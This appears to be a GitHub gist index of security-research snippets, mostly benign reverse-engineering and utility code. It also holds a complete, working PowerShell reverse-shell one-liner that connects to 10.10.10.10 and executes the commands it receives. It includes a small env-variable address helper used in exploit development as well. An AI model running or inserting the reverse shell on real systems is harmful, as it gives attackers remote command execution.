Skip to content

Instantly share code, notes, and snippets.

View Ayrx's full-sized avatar

Terry Chia Ayrx

212 followers · 3 following
View GitHub Profile
@Ayrx
Ayrx / powershell_reverse_shell.ps1
Created September 4, 2020 02:44 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@Ayrx
Ayrx / jni_binja.h
Created May 16, 2020 12:32
JNI header with tweaks for Binary Ninja parser
typedef long jint;
typedef int64_t jlong;
typedef signed char jbyte;
/*
* JNI Types
*/
typedef unsigned char jboolean;
typedef unsigned short jchar;
@Ayrx
Ayrx / repro.js
Created April 23, 2020 04:30
Frida Bug?
var m = "python2.7";
var ex = "PyTraceBack_Type";
var module = Process.getModuleByName(m)
console.log(JSON.stringify(module));
for (var e of module.enumerateExports()) {
if (e.name == ex) {
console.log(JSON.stringify(e));
}
@Ayrx
Ayrx / foo.c
Last active March 26, 2019 03:27
Frida Stalker Crash
#include <stdio.h>
#include <unistd.h>
int main() {
while (1) {
printf("hello\n");
sleep(1);
}
}
@Ayrx
Ayrx / memdump.py
Created April 6, 2014 05:53 — forked from ntrrgc/memdump.py
#!/usr/bin/env python
from __future__ import print_function
import sys
import os
import re
import ctypes
import argparse
ulseek = ctypes.cdll['libc.so.6'].lseek
ulseek.restype = ctypes.c_uint64
@Ayrx
Ayrx / constant_compare.py
Created November 29, 2013 11:53
Function for constant time string comparison.
def is_equal(a, b):
if len(a) != len(b):
return False
result = 0
for x, y in zip(a, b):
result |= x ^ y
return result == 0
@Ayrx
Ayrx / aslr_dep.py
Created October 11, 2013 14:16
Script to check if a DLL has been compiled with ASLR and DEP support. Inspired by http://security.stackexchange.com/questions/43681/how-can-i-detect-or-inventory-all-dlls-that-dont-use-aslr
import argparse
import os
import pefile
class DllCharacteristics():
def __init__(self):
self.IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = False
self.IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = False
self.IMAGE_DLLCHARACTERISTICS_NO_BIND = False
@Ayrx
Ayrx / enum.py
Created October 10, 2013 03:17
Code snippet for using enum in Python 2. http://stackoverflow.com/a/1695250/1170681
def enum(**enums):
return type('Enum', (), enums)
@Ayrx
Ayrx / case_sensitive_path.py
Created September 12, 2013 11:51
A code snippet to find the case sensitive version of path name on the system given a case insensitive version.
import os
def get_case_sensitive_pathname(path, top):
for root, dirs, files in os.walk(top):
for d in dirs:
if os.path.join(root, d).lower() == path.lower():
return os.path.join(root, d)
for f in files:
if os.path.join(root, f).lower() == path.lower():
return os.path.join(root, f)
@Ayrx
Ayrx / getenvaddr.c
Created August 28, 2013 05:49
A simple piece of C code to print out the memory address of a specific environmental variable.
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
char *addr;
if (argc < 2) {
printf("Usage:\n%s <environment variable name>\n", argv[0]);
exit(0);
}